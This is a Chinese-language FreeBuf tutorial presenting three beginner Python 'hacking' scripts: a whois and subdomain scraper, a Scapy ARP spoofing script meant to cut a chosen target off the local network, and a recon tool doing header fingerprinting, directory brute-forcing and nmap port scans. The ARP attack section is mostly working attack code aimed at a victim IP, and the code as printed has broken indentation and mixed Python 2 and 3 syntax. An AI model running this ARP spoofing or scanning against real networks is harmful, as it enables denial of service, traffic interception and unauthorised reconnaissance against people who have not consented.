freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

新手Python黑客工具入门
FreeBuf_18585 2018-02-09 10:44:02 1710688
所属地 河北省

新手Python黑客工具入门

前言

为了满足新手对Python的追求,特写了三个初级Python入门工具。第一期写了三个初级工具,希望新手看完以后可以对Python的脚本有一个基本了解。高手请绕过此文章!

一件套:pythond requests模块,构造一个whois信息收集器;

二件套:Python编写一个arp断网攻击;

三件套:目录信息收集。

一件套前言: 带给想写项目但无从下手的朋友们,这些脚本都比较容易理解

简单梳理一下此工具需要具备哪些功能。脚本获取信息如下:

IP信息

子域名

备案

注册人

邮箱

地址

电话

DNS

具体操作如下:

我们要用到的模块是requests

python环境:py3

安装方法:

pip install requests或python steup.py install

通过http://site.ip138.com来进行查询

http://site.ip138.com/输入你要查询的域名/domain.html #这个目录用于查询IP解析记录

htp://site.ip138.com/输入你要查询的域名/beian.html #这个用于查询子域名

http://site.ip138.com/输入你要查询的域名/whois.html #这个用于进行whois查询

好了现在我们开始构造我们的代码,代码里面有详细的注释

#首先我们要导入requests模块和bs4模块里的BeautifulSouptime模块
import requests
import time
from bs4 import BeautifulSoup
#设置好开始时间点
strat=time.time()
def chax():
  #询问用户要查询的域名
  lid=input('请输入你要查询的域名:')
  #设置浏览器头过反爬
  head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
  #设置好url
  url="http://site.ip138.com/{}/".format(lid)
  urldomain="http://site.ip138.com/{}/domain.htm".format(lid)
  url2="http://site.ip138.com/{}/beian.htm".format(lid)
  url3="http://site.ip138.com/{}/whois.htm".format(lid)
  #打开网页
  rb=requests.get(url,headers=head)
  rb1=requests.get(urldomain,headers=head)
  rb2=requests.get(url2,headers=head)
  rb3=requests.get(url3,headers=head)
  #获取内容并用html的方式返回
  gf=BeautifulSoup(rb.content,'html.parser')
  print('[+]IP解析记录')
  #读取内容里的p标签
  for x in gf.find_all('p'):
    #使用text的内容返回
    link=x.get_text()
    print(link)
gf1=BeautifulSoup(rb1.content,'html.parser')
print('[+]子域名查询')
for v in gf1.find_all('p'):
  link2=v.get_text()
  print(link2)
gf2=BeautifulSoup(rb2.content,'html.parser')
print('[+]备案查询')
for s  in gf2.find_all('p'):
  link3=s.get_text()
  print(link3)
gf3=BeautifulSoup(rb3.content,'html.parser')
print('[+]whois查询')
for k in gf3.find_all('p'):
  link4=k.get_text()
  print(link4)
chax()
end=time.time()
print('查询耗时:',end-strat)


Clipboard Image.png

二件套: 使用python编写一个arp断网攻击 

你们知道arp攻击的原理吗?如果不知道不要紧,下面开始介绍

arp攻击原理:

通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量。攻击者只要持续不断发送arp包就能造成中间人攻击或者断网攻击。(PS:我们只需要scapy里的一些参数就可以实现)

scapy介绍:

Scapy是一个Python程序,使用户能够发送,嗅探和剖析和伪造网络数据包。此功能允许构建可以探测,扫描或攻击网络的工具。

换句话说,Scapy是一个功能强大的交互式数据包处理程序。它能够伪造或解码大量协议的数据包,在线上发送,捕获,匹配请求和回复等等。Scapy可以轻松处理大多数经典任务,如扫描,追踪,探测,单元测试,攻击或网络发现。它可以替代hping,arpspoof,arp-sk,arping,pf,甚至是Nmap,tcpdump和tshark的某些部分。scapy的一个小例子:

ps:scapy正确的食用手册请认真看完介绍和部分基础:【传送门

安装scapy:

py2安装方法:

pip install scapy

py3安装方法:

pip install scapy3

更多的安装方法:【传送门

我的系统环境是:Kali Linux下

各位读者可以考虑一些使用以下系统环境:

Centos

Ubuntu

Mac os

ps:尽量不要使用windows,windows会报错!

缺少windows.dll,具体这个dll安装后会不会又报错官方没给出答复

编写攻击的脚本: Ether是构造网络数据包 ARP进行ARP攻击 sendp进行发包

    import os
	import sys
	from scapy.layers.l2 import getmacbyip
	from scapy.all import (
  	Ether,
  	ARP,
  	sendp
	)
    
    #执行查看IP的命令
	ifconfig=os.system('ifconfig')
	print ifconfig
	gmac=raw_input('Please enter gateway IP:')
	liusheng=raw_input('Please enter your IP:')
	liusrc=raw_input('Please enter target IP:')
	try:
    #获取目标的mac
  	tg=getmacbyip(liusrc)
  	print tg
	except Exception , f:
    print '[-]{}'.format(f)
    exit()
	def arpspoof():
 	 try:
    eth=Ether()
    arp=ARP(
        op="is-at", #arp响应
        hwsrc=gmac, #网关mac
        psrc=liusheng,#网关IP
        hwdst=tg,#目标Mac
        pdst=liusrc#目标IP
    )
    #对配置进行输出
    print ((eth/arp).show())
    #开始发包
    sendp(eth/arp,inter=2,loop=1)
  	except Exception ,g:
      print '[-]{}'.format(g)
      exit()
	arpspoof()


Clipboard Image.png

从受害者角度看

Clipboard Image.png

三件套: 想要挖web漏洞就必须做好前面的信息收集 

下面我们来写一个收集信息的脚本。

准备:

安装好requests,bs4模块: pip install requests pip install bs4 或者去下载好对应的模块压缩包 然后找到steup.py执行python steup.py install

思路: 使用requests.headers()获取http头部信息 通过htp响应码来判断robots是否存在 通过http响应码判断存在的目录 通过nmap判断开放的端口(PS:这里我是使用os模块来进行nmap命令扫描)我这边的nmap模块一调用,nmap就会出现停止运行 通过爬取某网站获得对应的whois,IP反查域名的信息。

开始:

import requests
import os
import socket
from bs4 import BeautifulSoup
import time
#获取http指纹
def Webfingerprintcollection():
  global lgr
  lgr=input('请输入目标域名:')
  url="http://{}".format(lgr)
  header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
  r=requests.get(url,headers=header)
  xyt=r.headers
  for key in xyt:
      print(key,':',xyt[key])
Webfingerprintcollection()
print('================================================')
#判断有无robots.txt
def robots():
  urlsd="http://{}/robots.txt".format(lgr)
  header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
  gf=requests.get(urlsd,headers=header,timeout=8)
  if gf.status_code == 200:
      print('robots.txt存在')
      print('[+]该站存在robots.txt',urlsd)
  else:
      print('[-]没有robots.txt')
robots()
print("=================================================")
#目录扫描
def Webdirectoryscanner():
  dict=open('build.txt','r',encoding='utf-8').read().split('\n')
  for xyt in dict:
      try:
        header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
        urljc="http://"+lgr+"{}".format(xyt)
        rvc=requests.get(urljc,headers=header,timeout=8)
        if rvc.status_code == 200:
            print('[*]',urljc)
      except:
          print('[-]远程主机强迫关闭了一个现有的连接')
Webdirectoryscanner()
print("=====================================================")
s = socket.gethostbyname(lgr)
#端口扫描
def portscanner():
  o=os.system('nmap {} program'.format(s))
  print(o)
portscanner()
print('======================================================')
#whois查询
def whois():
   heads={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
   urlwhois="http://site.ip138.com/{}/whois.htm".format(lgr)
   rvt=requests.get(urlwhois,headers=heads)
   bv=BeautifulSoup(rvt.content,"html.parser")
   for line in bv.find_all('p'):
       link=line.get_text()
       print(link)
whois()
print('======================================================')
#IP反查域名
def IPbackupdomainname():
    wu=socket.gethostbyname(lgr)
    rks="http://site.ip138.com/{}/".format(wu)
    rod={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
    sjk=requests.get(rks,headers=rod)
    liverou=BeautifulSoup(sjk.content,'html.parser')
    for low in liverou.find_all('li'):
        bc=low.get_text()
        print(bc)
IPbackupdomainname()
print('=======================================================')

Clipboard Image.png

三件套下载地址Github:【传送门

# python
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_18585 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
漏洞靶场实践
初级
FreeBuf_18585 LV.4
这家伙太懒了,还未填写个人描述!
  • 180 文章数
  • 371 关注者
玩转红日-VulnStack靶场-ATT&CK(八)
2022-11-04
CTF-Forge HackTheBox渗透测试(四)
2022-10-28
CTF-DailyBugle TryTheBox渗透测试(三)
2022-10-20
文章目录